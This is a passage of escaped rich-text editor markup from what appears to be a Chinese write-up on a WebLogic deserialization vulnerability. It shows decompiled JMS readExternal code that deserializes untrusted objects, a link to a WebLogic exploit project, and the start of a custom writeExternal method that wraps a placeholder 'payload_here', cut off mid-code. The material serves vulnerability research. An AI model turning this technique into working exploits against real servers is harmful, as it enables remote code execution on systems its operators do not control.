}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cdKt-1673852862668&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DDRv-1673852862667&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GnA9-1673852863122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H0RE-1673852863121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D6pP-1673852863296&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z0pX-1673852863295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BZ5k-1673852880318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;en7O-1673852880317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.readExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JnUg-1673852880320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hNqw-1673852880319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var2 = var1.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lFar-1673852880322&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QVQO-1673852880321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var3 = (byte)(var2 &amp; 127);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hGTa-1673852880324&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nk95-1673852880323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var3 &gt;= 1 &amp;&amp; var3 &lt;= 3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G5WF-1673852880326&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hImJ-1673852880325&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        switch (var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zTyQ-1673852880328&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vpob-1673852880327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5djk-1673852880330&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;piWI-1673852880329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OvgL-1673852880332&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dwGN-1673852880331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                BufferInputStream var4 = this.payload.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8GQ9-1673852880334&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Uucs-1673852880333&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                ObjectInputStream var5 = new ObjectInputStream(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QKeu-1673852880336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xsHo-1673852880335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setBodyWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZQL2-1673852880338&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T30b-1673852880337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setPropertiesWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1CSo-1673852880340&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zAUh-1673852880339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nyer-1673852880342&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vt36-1673852880341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FW1M-1673852880344&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BVe3-1673852880343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6TYg-1673852880346&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bbPb-1673852880345&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.writeObject(var5.readObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qibw-1673852880348&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tv6p-1673852880347&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EEms-1673852880350&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I58J-1673852880349&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (EOFException var9) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HSqw-1673852880352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;adT0-1673852880351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s3bD-1673852880354&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IpRZ-1673852880353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.reset();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bq7j-1673852880356&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vIjp-1673852880355&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.setPropertiesWritable(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eR0P-1673852880359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wNP8-1673852880358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N9W-1673852880361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iBD6-1673852880360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.payload = var7;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MuTt-1673852880363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8xf-1673852880362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (JMSException var8) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6uXF-1673852880365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;svmI-1673852880364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        JMSClientExceptionLogger.logStackTrace(var8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TBVb-1673852880367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XCHk-1673852880366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5YRW-1673852880369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a1Fc-1673852880368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (MessageNotWriteableException var10) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PQu3-1673852880371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h59x-1673852880370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var10);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6nEU-1673852880373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RPlg-1673852880372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (javax.jms.MessageFormatException var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVCj-1673852880375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MNVh-1673852880374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KvPl-1673852880377&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r51f-1673852880376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (JMSException var12) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u1nM-1673852880379&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kwS8-1673852880378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var12);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WSB6-1673852880381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jceO-1673852880380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N939-1673852880383&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9xNw-1673852880382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mMS4-1673852880385&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4FkG-1673852880384&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e6D6-1673852880387&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r4e3-1673852880386&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if ((var2 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6qLK-1673852880389&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dsSU-1673852880388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.readExternalCompressedMessageBody(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t1Tm-1673852880391&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zo3a-1673852880390&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdvp-1673852880393&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOPH-1673852880392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XF4E-1673852880395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGNd-1673852880394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4s03-1673852880397&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cj87-1673852880396&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kZPn-1673852880399&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KgdG-1673852880398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7PMw-1673852880401&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dp6v-1673852880400&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gV9N-1673852880403&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GTPh-1673852880402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nHlB-1673852880405&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mGYR-1673852880404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        throw JMSUtilities.versionIOException(var3, 1, 3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3IU-1673852880407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ssOZ-1673852880406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iUrg-1673852880409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3F0Y-1673852880408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C3Pj-1673852863478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lJXu-1673852863476&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;etN2-1673852427732&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rsFE-1673852427730&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考项目代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N7A-1673853031878&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;egiI-1673853031876&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;L40Y-1673853162645&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bHt7-1673853162644&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YNIP-1673853162646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zZNu-1673853163816&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n9JY-1673853163815&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;自实现一个writeExternal逻辑：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2IZl-1673853200645&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6DW4-1673853200599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EWgV-1673853200598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZbOs-1673853200601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PRpa-1673853200600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;96bl-1673853200603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zQRi-1673853200602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;scSg-1673853200605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rzOb-1673853200604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutputStream var3 = new ObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2s3w-1673853200607&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G2fH-1673853200606&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h1pq-1673853200609&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G4qo-1673853200608&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1984-1673853200611&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZWAZ-1673853200610&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(\&#34;payload_here\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;67cP-1673853200613&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yarE-1673853200612&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B0zY-1673853200615&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1IVQ-1673853200614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (IllegalAccessException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2ZGv-1673853200617&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ryp-1673853200616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fr5M-1673853200619&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ea6y-1673853200618&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InvocationTargetException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xkCI-1673853200621&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOrX-1673853200620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Oed7-1673853200623&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iMhG-1673853200622&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InstantiationException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLQE-1673853200625&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lXNX-1673853200624&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rwfb-1673853200627&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;paeR-1673853200626&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (NoSuchMethodException e) 